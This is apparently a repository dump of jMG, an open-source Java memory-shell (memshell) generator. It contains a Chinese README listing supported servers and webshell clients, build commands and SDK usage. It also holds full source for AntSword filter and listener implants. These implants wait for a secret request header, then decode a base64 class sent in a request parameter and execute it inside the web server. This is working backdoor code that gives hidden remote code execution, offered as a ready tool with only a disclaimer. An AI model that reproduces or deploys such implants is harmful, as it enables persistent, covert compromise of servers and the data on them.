├── LICENSE
├── README.md
├── jmg-all
├── pom.xml
└── src
│ └── main
│ └── java
│ └── jmg
│ └── all
│ └── jMGApp.java
├── jmg-antsword
├── pom.xml
└── src
│ └── main
│ └── java
│ └── jmg
│ └── antsword
│ ├── generator
│ └── AntSwordGenerator.java
│ ├── memshell
│ ├── AntSwordFilter.java
│ ├── AntSwordJakartaFilter.java
│ ├── AntSwordJakartaListener.java
│ ├── AntSwordListener.java
│ └── AntSwordValve.java
│ └── util
│ └── ShellUtil.java
├── jmg-behinder
├── pom.xml
└── src
│ └── main
│ └── java
│ └── jmg
│ └── behinder
│ ├── generator
│ └── BehinderGenerator.java
│ ├── memshell
│ ├── BehinderFilter.java
│ ├── BehinderInterceptor.java
│ ├── BehinderJakartaFilter.java
│ ├── BehinderJakartaListener.java
│ ├── BehinderListener.java
│ └── BehinderValve.java
│ └── util
│ └── ShellUtil.java
├── jmg-cli
├── pom.xml
└── src
│ └── main
│ └── java
│ └── jmg
│ └── cli
│ ├── CLIApp.java
│ └── Console.java
├── jmg-core
├── pom.xml
└── src
│ └── main
│ ├── java
│ ├── jmg
│ │ └── core
│ │ │ ├── config
│ │ │ ├── AbstractConfig.java
│ │ │ └── Constants.java
│ │ │ ├── format
│ │ │ ├── BASE64Formater.java
│ │ │ ├── BCELFormater.java
│ │ │ ├── BCELoader.java
│ │ │ ├── BCELoaderGenerator.java
│ │ │ ├── BigIntegerFormater.java
│ │ │ ├── IFormater.java
│ │ │ ├── JARAgentFormater.java
│ │ │ ├── JARFormater.java
│ │ │ ├── JSPFormater.java
│ │ │ └── JavaScriptFormater.java
│ │ │ ├── generator
│ │ │ ├── IShellGenerator.java
│ │ │ └── InjectorGenerator.java
│ │ │ ├── jMGCodeApi.java
│ │ │ ├── template
│ │ │ ├── ApusicFilterInjectorTpl.java
│ │ │ ├── ApusicListenerInjectorTpl.java
│ │ │ ├── BESFilterInjectorTpl.java
│ │ │ ├── BESListenerInjectorTpl.java
│ │ │ ├── GlassFishFilterInjectorTpl.java
│ │ │ ├── GlassFishListenerInjectorTpl.java
│ │ │ ├── InforSuiteFilterInjectorTpl.java
│ │ │ ├── InforSuiteListenerInjectorTpl.java
│ │ │ ├── JettyFilterInjectorTpl.java
│ │ │ ├── JettyListenerInjectorTpl.java
│ │ │ ├── ResinFilterInjectorTpl.java
│ │ │ ├── ResinListenerInjectorTpl.java
│ │ │ ├── SpringMVCAgentTransformer.java
│ │ │ ├── SpringMVCInterceptorInjectorTpl.java
│ │ │ ├── SpringWebFluxHandlerMethodInjectorTpl.java
│ │ │ ├── TomcatAgentTransformer.java
│ │ │ ├── TomcatFilterInjectorTpl.java
│ │ │ ├── TomcatListenerInjectorTpl.java
│ │ │ ├── TomcatValveInjectorTpl.java
│ │ │ ├── TongWebListenerInjectorTpl.java
│ │ │ ├── UndertowFilterInjectorTpl.java
│ │ │ ├── UndertowListenerInjectorTpl.java
│ │ │ ├── WebLogicFilterInjectorTpl.java
│ │ │ ├── WebLogicListenerInjectorTpl.java
│ │ │ ├── WebSphereFilterInjectorTpl.java
│ │ │ ├── WebSphereListenerInjectorTpl.java
│ │ │ ├── WildFlyFilterInjectorTpl.java
│ │ │ └── WildFlyListenerInjectorTpl.java
│ │ │ └── util
│ │ │ ├── ClassNameUtil.java
│ │ │ ├── CommonUtil.java
│ │ │ ├── CtClassUtil.java
│ │ │ ├── InjectorUtil.java
│ │ │ ├── JDKBypassUtil.java
│ │ │ ├── JavassistUtil.java
│ │ │ ├── PackageNameUtil.java
│ │ │ ├── RandomHttpHeaderUtil.java
│ │ │ └── ResponseUtil.java
│ └── org
│ │ └── springframework
│ │ └── web
│ │ └── servlet
│ │ └── AsyncHandlerInterceptor.java
│ └── resources
│ └── jmg-agent.jar
├── jmg-custom
├── pom.xml
└── src
│ ├── main
│ └── java
│ │ └── jmg
│ │ └── custom
│ │ └── generator
│ │ └── CustomGenerator.java
│ └── test
│ └── java
│ └── test.java
├── jmg-docs
├── 1.0.4
│ ├── README.md
│ └── img
│ │ ├── 1708846585021.png
│ │ ├── 1708846851378.png
│ │ ├── 1708847432299.png
│ │ ├── 1708847448833.png
│ │ ├── 1708847459275.png
│ │ ├── 1708847507811.png
│ │ ├── 1708847533913.png
│ │ ├── 1708847546219.png
│ │ ├── 1708847591532.png
│ │ ├── 1708847605226.png
│ │ ├── 1708847621706.png
│ │ ├── 1708847681909.png
│ │ ├── 1708847705412.png
│ │ ├── 1708847745212.png
│ │ ├── 1708847792621.png
│ │ ├── 1708847802775.png
│ │ ├── 1708847855479.png
│ │ ├── 1708847867937.png
│ │ ├── 1708847885651.png
│ │ ├── 1708847896934.png
│ │ ├── 1708847909642.png
│ │ ├── 1708847921416.png
│ │ ├── 1708847982473.png
│ │ ├── 1708847996329.png
│ │ ├── 1708848005979.png
│ │ └── 1708848140183.png
├── 1.0.5
│ ├── README.md
│ └── img
│ │ ├── 1708845865802.png
│ │ └── 1708845885725.png
├── 1.0.6
│ ├── README.md
│ └── img
│ │ ├── 1708844544858.png
│ │ ├── 1708844556273.png
│ │ ├── 1708844588193.png
│ │ ├── 1708844598859.png
│ │ ├── 1708844631477.png
│ │ ├── 1708844642216.png
│ │ ├── 1708844692315.png
│ │ └── 1708844703467.png
├── 1.0.8
│ ├── README.md
│ └── img
│ │ ├── 1712860212581.png
│ │ ├── 1712860232195.png
│ │ ├── 1712860295605.png
│ │ ├── 1712866128775.png
│ │ ├── 1712866280281.png
│ │ ├── 1712866419608.png
│ │ ├── 1712867832438.png
│ │ ├── 1712868077145.png
│ │ ├── 1712868104094.png
│ │ ├── 1712868281189.png
│ │ ├── 1713209159695.png
│ │ ├── 1713209182608.png
│ │ ├── 1713209211285.png
│ │ ├── 1713209265218.png
│ │ ├── 1713209278067.png
│ │ ├── 1713209302039.png
│ │ ├── 1713209319058.png
│ │ ├── 1713209337767.png
│ │ ├── 1713209372043.png
│ │ ├── 1713209382797.png
│ │ ├── 1713209425091.png
│ │ └── image-20240412045841947.png
├── README_EN.md
└── img
│ ├── gui.png
│ └── gui_250101.png
├── jmg-extender
├── pom.xml
└── src
│ └── main
│ └── java
│ └── jmg
│ └── extender
│ ├── detector
│ ├── DFSEchoDetector.java
│ ├── DNSLogDetector.java
│ ├── HTTPLogDetector.java
│ └── SleepDetector.java
│ ├── generator
│ └── ExtenderGenerator.java
│ └── util
│ └── DetectorUtil.java
├── jmg-godzilla
├── pom.xml
└── src
│ └── main
│ └── java
│ └── jmg
│ └── godzilla
│ ├── generator
│ └── GodzillaGenerator.java
│ ├── memshell
│ ├── GodzillaFilter.java
│ ├── GodzillaInterceptor.java
│ ├── GodzillaJakartaFilter.java
│ ├── GodzillaJakartaListener.java
│ ├── GodzillaListener.java
│ ├── GodzillaValve.java
│ └── GodzillaWebFluxHandlerMethod.java
│ └── util
│ └── ShellUtil.java
├── jmg-gui
├── pom.xml
└── src
│ └── main
│ ├── java
│ └── jmg
│ │ └── gui
│ │ ├── GUIApp.java
│ │ ├── form
│ │ ├── jMGForm.form
│ │ └── jMGForm.java
│ │ └── util
│ │ ├── ComponentUtil.java
│ │ ├── JExprUtil.java
│ │ ├── MenuUtil.java
│ │ ├── ResultUtil.java
│ │ ├── ShellGeneratorUtil.java
│ │ └── TextPaneUtil.java
│ └── resources
│ ├── messages_en.properties
│ ├── messages_en.properties.bak
│ ├── messages_zh.properties
│ └── messages_zh.properties.bak
├── jmg-neoregeorg
├── pom.xml
└── src
│ └── main
│ └── java
│ └── jmg
│ └── neoregeorg
│ ├── generator
│ └── NeoreGeorgGenerator.java
│ ├── memshell
│ ├── NeoreGeorgFilter.java
│ ├── NeoreGeorgInterceptor.java
│ ├── NeoreGeorgJakartaFilter.java
│ ├── NeoreGeorgJakartaListener.java
│ └── NeoreGeorgListener.java
│ └── util
│ └── ShellUtil.java
├── jmg-sdk
├── pom.xml
└── src
│ ├── main
│ └── java
│ │ └── jmg
│ │ └── sdk
│ │ ├── jMGenerator.java
│ │ └── util
│ │ ├── SDKResultUtil.java
│ │ └── ShellGenerator.java
│ └── test
│ └── java
│ └── SDKTest.java
├── jmg-suo5
├── pom.xml
└── src
│ └── main
│ └── java
│ └── jmg
│ └── suo5
│ ├── generator
│ └── Suo5Generator.java
│ ├── memshell
│ ├── Suo5Filter.java
│ ├── Suo5Interceptor.java
│ ├── Suo5JakartaFilter.java
│ ├── Suo5JakartaListener.java
│ └── Suo5Listener.java
│ └── util
│ └── ShellUtil.java
├── jmg-woodpecker
├── pom.xml
└── src
│ └── main
│ └── java
│ └── me
│ └── gv7
│ └── woodpecker
│ ├── helper
│ ├── AntSwordHelper.java
│ ├── BehinderHelper.java
│ ├── CustomHelper.java
│ ├── GodzillaHelper.java
│ ├── NeoreGeorgHelper.java
│ ├── ProxyHelper.java
│ ├── ShellHelper.java
│ └── Suo5Helper.java
│ ├── plugin
│ ├── ExtenderHelperPlugin.java
│ ├── ProxyHelperPlugin.java
│ ├── ShellHelperPlugin.java
│ └── WoodpeckerPluginManager.java
│ └── util
│ └── WoodpeckerResultUtil.java
└── pom.xml
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2025 pen4uin
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 |
Java Memshell Generator
4 |
9 | 一款支持高度自定义的 Java 内存马生成工具
10 |
11 |
12 |
13 |
14 |
15 |
16 | > [!WARNING]
17 | > 本工具仅供安全研究和学习使用。使用者需自行承担因使用此工具产生的所有法律及相关责任。请确保你的行为符合当地的法律和规定。作者不承担任何责任。如不接受,请勿使用此工具。
18 |
19 |
20 |
21 | ## 功能
22 |
23 | | 中间件 | 框架 | 工具 (测试版本) | 内存马类型 | 输出格式 | 辅助模块 |
24 | | ------------------ | ------------- | ------------------------------------------------------------ | ------------- | ---------- | -------------- |
25 | | Tomcat | SpringMVC | [AntSword](https://github.com/AntSwordProject/antSword) (2.1.15) | Listener | BASE64 | 专项漏洞封装 |
26 | | Resin | SpringWebFlux | [Behinder](https://github.com/rebeyond/Behinder) (4.0.7) | Filter | BCEL | 表达式语句封装 |
27 | | WebLogic | | [Godzilla](https://github.com/BeichenDream/Godzilla) (4.0.1) | Interceptor | BIGINTEGER | |
28 | | Jetty | | [Neo-reGeorg](https://github.com/L-codes/Neo-reGeorg) (5.1.0) | HandlerMethod | CLASS | |
29 | | WebSphere | | [Suo5](https://github.com/zema1/suo5) (0.9.0) | TomcatValve | JAR | |
30 | | Undertow | | Custom | | JAR_AGENT | |
31 | | GlassFish | | | | JS | |
32 | | Apusic(金蝶) | | | | JSP | |
33 | | BES(宝兰德) | | | | | |
34 | | InforSuite(中创) | | | | | |
35 | | TongWeb(东方通) | | | | | |
36 | | | | | | | |
37 |
38 | ## 编译
39 |
40 | maven (v3.9.3)
41 |
42 | ```shell
43 | mvn package assembly:single
44 | ```
45 |
46 | ## 使用
47 |
48 | **图形化**
49 |
50 | ```shell
51 | java -jar ./releases/jmg-gui-1.0.9.jar
52 | ```
53 |
54 | **命令行**
55 |
56 | ```shell
57 | java -jar ./releases/jmg-cli-1.0.9.jar
58 | ```
59 |
60 | **Woodpecker 插件**
61 |
62 | 将 jmg-woodpecker-1.0.9.jar 添加到 woodpecker 插件目录
63 |
64 |
65 | **第三方库 (Maven)**
66 |
67 | 1.将 jmg-sdk-1.0.9.jar 安装到本地 maven 仓库
68 |
69 | ```shell
70 | mvn install:install-file -Dfile=./releases/jmg-sdk-1.0.9.jar -DgroupId=jmg -DartifactId=jmg-sdk -Dversion=1.0.9 -Dpackaging=jar
71 | ```
72 |
73 | 2.添加为依赖
74 |
75 | ```xml
76 |
77 | jmg
78 | jmg-sdk
79 | 1.0.9
80 |
81 | ```
82 |
83 | 3.示例
84 |
85 | ```
86 | // 基础配置
87 | AbstractConfig config = new AbstractConfig() {{
88 | // 设置工具类型
89 | setToolType(Constants.TOOL_GODZILLA);
90 | // 设置中间件 or 框架
91 | setServerType(Constants.SERVER_TOMCAT);
92 | // 设置内存马类型
93 | setShellType(Constants.SHELL_LISTENER);
94 | // 设置输出格式为 BASE64
95 | setOutputFormat(Constants.FORMAT_BASE64);
96 | // 设置漏洞利用封装,默认不启用
97 | setGadgetType(Constants.GADGET_NONE);
98 | // 初始化基础配置
99 | build();
100 | }};
101 |
102 | jMGenerator generator = new jMGenerator(config);
103 | generator.genPayload();
104 | generator.printPayload();
105 |
106 | // 连接信息
107 | SDKResultUtil.printBasicInfo(config);
108 | SDKResultUtil.printDebugInfo(config);
109 | ```
110 |
111 | ## 文档
112 |
113 | - [jMG v1.0.8](./jmg-docs/1.0.8/)
114 | - [jMG v1.0.6](./jmg-docs/1.0.6/)
115 | - [jMG v1.0.5](./jmg-docs/1.0.5/)
116 | - [jMG v1.0.4](./jmg-docs/1.0.4/)
117 |
118 | ## 致谢
119 |
120 | - https://github.com/c0ny1
121 | - https://github.com/whwlsfb
122 | - https://github.com/feihong-cs/memShell
123 | - https://github.com/su18/MemoryShell
124 | - https://github.com/BeichenDream/GodzillaMemoryShellProject
125 |
126 | ## 协议
127 |
128 | - MIT
--------------------------------------------------------------------------------
/jmg-all/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | jmg
8 | java-memshell-generator
9 | 1.0.9
10 |
11 |
12 | jmg-all
13 |
14 |
15 | 8
16 | 8
17 | UTF-8
18 |
19 |
20 |
21 | jmg
22 | jmg-woodpecker
23 | ${parent.version}
24 | compile
25 |
26 |
27 | jmg
28 | jmg-sdk
29 | ${parent.version}
30 | compile
31 |
32 |
33 | jmg
34 | jmg-cli
35 | ${parent.version}
36 | compile
37 |
38 |
39 | jmg
40 | jmg-gui
41 | ${parent.version}
42 | compile
43 |
44 |
45 |
46 |
47 |
48 |
49 | org.apache.maven.plugins
50 | maven-assembly-plugin
51 | 3.6.0
52 |
53 |
54 | jar-with-dependencies
55 |
56 |
57 |
58 | jmg.all.jMGApp
59 |
60 |
61 | false
62 | ../releases
63 |
64 |
65 |
66 | make-assembly
67 | package
68 |
69 | single
70 |
71 |
72 |
73 |
74 |
75 |
76 |
--------------------------------------------------------------------------------
/jmg-all/src/main/java/jmg/all/jMGApp.java:
--------------------------------------------------------------------------------
1 | package jmg.all;
2 |
3 | import jmg.core.config.Constants;
4 |
5 | public class jMGApp {
6 | public static void main(String[] args) throws Throwable {
7 | if (args.length < 1) {
8 | System.out.println("jmg usage:");
9 | System.out.printf("1. java -jar jmg-all-%s.jar cli%n", Constants.JMG_VERSION);
10 | System.out.printf("2. java -jar jmg-all-%s.jar gui%n", Constants.JMG_VERSION);
11 | return;
12 | }
13 |
14 | switch (args[0]) {
15 | case "gui":
16 | jmg.gui.GUIApp.main(args);
17 | break;
18 | case "cli":
19 | jmg.cli.CLIApp.main(args);
20 | break;
21 | default:
22 | System.out.println("Invalid command. Please use either 'cli' or 'gui'.");
23 | break;
24 | }
25 | }
26 | }
--------------------------------------------------------------------------------
/jmg-antsword/pom.xml:
--------------------------------------------------------------------------------
1 |
3 | 4.0.0
4 |
5 | jmg
6 | java-memshell-generator
7 | 1.0.9
8 |
9 | jmg-antsword
10 |
11 |
12 |
13 | ${parent.groupId}
14 | jmg-core
15 | ${parent.version}
16 | compile
17 |
18 |
19 |
20 |
21 |
--------------------------------------------------------------------------------
/jmg-antsword/src/main/java/jmg/antsword/generator/AntSwordGenerator.java:
--------------------------------------------------------------------------------
1 | package jmg.antsword.generator;
2 |
3 | import javassist.ClassClassPath;
4 | import javassist.CtClass;
5 | import jmg.core.config.AbstractConfig;
6 | import jmg.core.config.Constants;
7 | import jmg.core.generator.IShellGenerator;
8 | import jmg.antsword.util.ShellUtil;
9 | import jmg.core.util.CommonUtil;
10 | import jmg.core.util.JavassistUtil;
11 | import jmg.core.util.ResponseUtil;
12 | public class AntSwordGenerator implements IShellGenerator {
13 |
14 | @Override
15 | public void initShell(AbstractConfig config) {
16 | if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6));
17 | }
18 |
19 | @Override
20 | public byte[] makeShell(AbstractConfig config) throws Exception {
21 | initShell(config);
22 | String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType());
23 | String shellClassName = ShellUtil.getShellClassName(shellName);
24 | byte[] bytes = modifyShell(shellClassName, config);
25 | config.setShellBytes(bytes);
26 | config.setShellBytesLength(bytes.length);
27 | config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes)));
28 | return bytes;
29 | }
30 |
31 | @Override
32 | public byte[] modifyShell(String className, AbstractConfig config) {
33 | byte[] bytes = new byte[0];
34 | try {
35 | pool.insertClassPath(new ClassClassPath(AntSwordGenerator.class));
36 | CtClass ctClass = pool.getCtClass(className);
37 | ctClass.getClassFile().setVersionToJava5();
38 | JavassistUtil.addFieldIfNotNull(ctClass, "pass", config.getPass());
39 | JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName());
40 | JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue());
41 | JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName());
42 |
43 | if (config.getShellType().equals(Constants.SHELL_LISTENER)) {
44 | String methodBody = ResponseUtil.getMethodBody(config.getServerType());
45 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
46 | }
47 | if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) {
48 | String methodBody = ResponseUtil.getMethodBody(config.getServerType());
49 | methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet.");
50 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody);
51 | }
52 | JavassistUtil.removeSourceFileAttribute(ctClass);
53 | bytes = ctClass.toBytecode();
54 | ctClass.detach();
55 | } catch (Exception e) {
56 | e.printStackTrace();
57 | throw new RuntimeException(e);
58 | }
59 | return bytes;
60 | }
61 |
62 | }
63 |
--------------------------------------------------------------------------------
/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordFilter.java:
--------------------------------------------------------------------------------
1 | package jmg.antsword.memshell;
2 |
3 | import javax.servlet.*;
4 | import javax.servlet.http.HttpServletRequest;
5 | import javax.servlet.http.HttpServletResponse;
6 | import java.io.IOException;
7 | import java.lang.reflect.Method;
8 | import java.net.URL;
9 | import java.net.URLClassLoader;
10 |
11 | public class AntSwordFilter implements Filter {
12 | public String pass;
13 | public String headerName;
14 | public String headerValue;
15 |
16 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
17 | HttpServletRequest request = (HttpServletRequest) servletRequest;
18 | HttpServletResponse response = (HttpServletResponse) servletResponse;
19 | try {
20 | if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
21 | String cls = request.getParameter(pass);
22 | if (cls != null) {
23 | try {
24 | byte[] data = doBase64Decode(cls);
25 | URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
26 | Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
27 | method.setAccessible(true);
28 | Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
29 | clazz.newInstance().equals(new Object[]{request, response});
30 | } catch (Exception var7) {
31 | }
32 | }
33 | } else {
34 | filterChain.doFilter(servletRequest, servletResponse);
35 | }
36 | } catch (Exception e) {
37 | filterChain.doFilter(servletRequest, servletResponse);
38 | }
39 | }
40 |
41 | public byte[] doBase64Decode(String str) throws Exception {
42 | try {
43 | Class clazz = Class.forName("sun.misc.BASE64Decoder");
44 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
45 | } catch (Exception var5) {
46 | Class clazz = Class.forName("java.util.Base64");
47 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
48 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
49 | }
50 | }
51 |
52 | public void init(FilterConfig filterConfig) throws ServletException {
53 | }
54 |
55 | public void destroy() {
56 | }
57 | }
--------------------------------------------------------------------------------
/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordJakartaFilter.java:
--------------------------------------------------------------------------------
1 | package jmg.antsword.memshell;
2 |
3 | import jakarta.servlet.*;
4 | import jakarta.servlet.http.HttpServletRequest;
5 | import jakarta.servlet.http.HttpServletResponse;
6 | import java.io.IOException;
7 | import java.lang.reflect.Method;
8 | import java.net.URL;
9 | import java.net.URLClassLoader;
10 |
11 | public class AntSwordJakartaFilter implements Filter {
12 | public String pass;
13 | public String headerName;
14 | public String headerValue;
15 |
16 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
17 | HttpServletRequest request = (HttpServletRequest) servletRequest;
18 | HttpServletResponse response = (HttpServletResponse) servletResponse;
19 | try {
20 | if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
21 | String cls = request.getParameter(pass);
22 | if (cls != null) {
23 | try {
24 | byte[] data = doBase64Decode(cls);
25 | URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
26 | Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
27 | method.setAccessible(true);
28 | Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
29 | clazz.newInstance().equals(new Object[]{request, response});
30 | } catch (Exception var7) {
31 | }
32 | }
33 | } else {
34 | filterChain.doFilter(servletRequest, servletResponse);
35 | }
36 | } catch (Exception e) {
37 | filterChain.doFilter(servletRequest, servletResponse);
38 | }
39 | }
40 |
41 | public byte[] doBase64Decode(String str) throws Exception {
42 | try {
43 | Class clazz = Class.forName("sun.misc.BASE64Decoder");
44 | return (byte[]) ((byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str)));
45 | } catch (Exception var5) {
46 | Class clazz = Class.forName("java.util.Base64");
47 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
48 | return (byte[]) ((byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str)));
49 | }
50 | }
51 |
52 | public void init(FilterConfig filterConfig) throws ServletException {
53 | }
54 |
55 | public void destroy() {
56 | }
57 | }
--------------------------------------------------------------------------------
/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordJakartaListener.java:
--------------------------------------------------------------------------------
1 | package jmg.antsword.memshell;
2 |
3 | import jakarta.servlet.ServletRequestEvent;
4 | import jakarta.servlet.ServletRequestListener;
5 | import jakarta.servlet.http.HttpServletRequest;
6 | import jakarta.servlet.http.HttpServletResponse;
7 | import java.lang.reflect.Field;
8 | import java.lang.reflect.Method;
9 | import java.net.URL;
10 | import java.net.URLClassLoader;
11 |
12 | public class AntSwordJakartaListener implements ServletRequestListener {
13 | public String pass;
14 | public String headerName;
15 | public String headerValue;
16 |
17 | public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
18 | }
19 |
20 | public void requestInitialized(ServletRequestEvent servletRequestEvent) {
21 | HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
22 | try {
23 | HttpServletResponse response = getResponseFromRequest(request);
24 | if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
25 | String cls = request.getParameter(pass);
26 | if (cls != null) {
27 | try {
28 | byte[] data = base64Decode(cls);
29 | URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
30 | Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
31 | method.setAccessible(true);
32 | Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
33 | clazz.newInstance().equals(new Object[]{request, response});
34 | response.flushBuffer();
35 | } catch (Exception var7) {
36 | }
37 | }
38 | }
39 |
40 | } catch (Exception ignored) {
41 | }
42 | }
43 |
44 | private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
45 | return null;
46 | }
47 |
48 | private static synchronized Object getFV(Object var0, String var1) throws Exception {
49 | Field var2 = null;
50 | Class var3 = var0.getClass();
51 |
52 | while (var3 != Object.class) {
53 | try {
54 | var2 = var3.getDeclaredField(var1);
55 | break;
56 | } catch (NoSuchFieldException var5) {
57 | var3 = var3.getSuperclass();
58 | }
59 | }
60 |
61 | if (var2 == null) {
62 | throw new NoSuchFieldException(var1);
63 | } else {
64 | var2.setAccessible(true);
65 | return var2.get(var0);
66 | }
67 | }
68 |
69 | public byte[] base64Decode(String str) throws Exception {
70 | try {
71 | Class clazz = Class.forName("sun.misc.BASE64Decoder");
72 | return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
73 | } catch (Exception var5) {
74 | Class clazz = Class.forName("java.util.Base64");
75 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
76 | return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
77 | }
78 | }
79 |
80 | }
81 |
--------------------------------------------------------------------------------
/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordListener.java:
--------------------------------------------------------------------------------
1 | package jmg.antsword.memshell;
2 |
3 | import javax.servlet.ServletRequestEvent;
4 | import javax.servlet.ServletRequestListener;
5 | import javax.servlet.http.HttpServletRequest;
6 | import javax.servlet.http.HttpServletResponse;
7 | import java.lang.reflect.Field;
8 | import java.lang.reflect.Method;
9 | import java.net.URL;
10 | import java.net.URLClassLoader;
11 |
12 | public class AntSwordListener implements ServletRequestListener {
13 | public String pass;
14 | public String headerName;
15 | public String headerValue;
16 |
17 | public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
18 | }
19 |
20 | public void requestInitialized(ServletRequestEvent servletRequestEvent) {
21 | HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
22 | try {
23 | HttpServletResponse response = getResponseFromRequest(request);
24 | if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) {
25 | String cls = request.getParameter(pass);
26 | if (cls != null) {
27 | try {
28 | byte[] data = base64Decode(cls);
29 | URLClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader());
30 | Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
31 | method.setAccessible(true);
32 | Class clazz = (Class) method.invoke(classLoader, data, new Integer(0), new Integer(data.length));
33 | clazz.newInstance().equals(new Object[]{request, response});
34 | response.flushBuffer();
35 | } catch (Exception var7) {
36 | }
37 | }
38 | }
39 |
40 | } catch (Exception ignored) {
41 | }
42 | }
43 |
44 | private HttpServletResponse getResponseFromRequest(HttpServletRequest var1) throws Exception {
45 | return null;
46 | }
47 |
48 | private static synchronized Object getFV(Object var0, String var1) throws Exception {
49 | Field var2 = null;
50 | Class var3 = var0.getClass();
51 |
52 | while (var3 != Object.class) {
53 | try {
54 | var2 = var3.getDeclaredField(var1);
55 | break;
56 | } catch (NoSuchFieldException var5) {
57 | var3 = var3.getSuperclass();
58 | }
59 | }
60 |
61 | if (var2 == null) {
62 | throw new NoSuchFieldException(var1);
63 | } else {
64 | var2.setAccessible(true);
65 | return var2.get(var0);
66 | }
67 | }
68 |
69 | public byte[] base64Decode(String str) throws Exception {
70 | try {
71 | Class clazz = Class.forName("sun.misc.BASE64Decoder");
72 | return (byte[]) ((byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str));
73 | } catch (Exception var5) {
74 | Class clazz = Class.forName("java.util.Base64");
75 | Object decoder = clazz.getMethod("getDecoder").invoke((Object) null);
76 | return (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str));
77 | }
78 | }
79 |
80 | }
81 |
--------------------------------------------------------------------------------
/jmg-antsword/src/main/java/jmg/antsword/memshell/AntSwordValve.java:
--------------------------------------------------------------------------------
1 | package jmg.antsword.memshell;
2 |
3 | import org.apache.catalina.Valve;
4 | import org.apache.catalina.connector.Request;
5 | import org.apache.catalina.connector.Response;
6 |
7 | import javax.servlet.ServletException;
8 | import java.io.IOException;
9 | import java.lang.reflect.Method;
10 | import java.net.URL;
11 | import java.net.URLClassLoader;
12 |
13 |
14 | public class AntSwordValve extends ClassLoader implements Valve {
15 | protected Valve next;
16 | protected boolean asyncSupported;
17 |
18 | public String pass;
19 |
20 | public String headerName;
21 |
22 | public String headerValue;
23 |
24 | public AntSwordValve() {
25 | }
26 |
27 | public AntSwordValve(ClassLoader c) {
